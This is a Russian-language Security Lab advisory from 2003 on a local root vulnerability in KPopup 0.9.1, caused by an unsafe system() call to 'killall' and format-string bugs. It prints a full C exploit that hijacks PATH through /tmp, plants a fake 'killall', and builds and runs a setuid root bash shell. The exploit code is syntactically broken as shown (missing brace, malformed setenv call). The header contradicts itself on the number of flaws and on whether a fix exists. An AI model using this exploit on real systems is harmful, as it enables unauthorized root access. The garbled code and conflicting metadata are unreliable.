Security Lab

Несколько уязвимостей в KPopup

Дата публикации:29.10.2003
Всего просмотров:1468
Опасность:
Низкая
Наличие исправления: Инстуркции по устранению
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: KPopup 0.x
Уязвимые версии: KPopup 0.9.1

Описание: Уязвимость обнаружена в KPopup. Локальный пользователь может получить root привилегии на целевой системе.

Приложение небезопасно выполняет вызов system() и содержит несколько уязвимостей форматной строки. Например, локальный пользователь может эксплуатировать недостаток в system() в 'misc.cpp':

 
 killall -USR1 kpopup
Локальный пользователь может сконструировать альтернативный 'killall'и изменить путь таким образом, чтобы выполнить альтернативный 'killall' с root привилегиями при запуске KPopup.

Пример/Эксплоит:

/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
 
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;

URL производителя: http://www.henschelsoft.de/kpopup_en.html

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Local root vuln in kpopup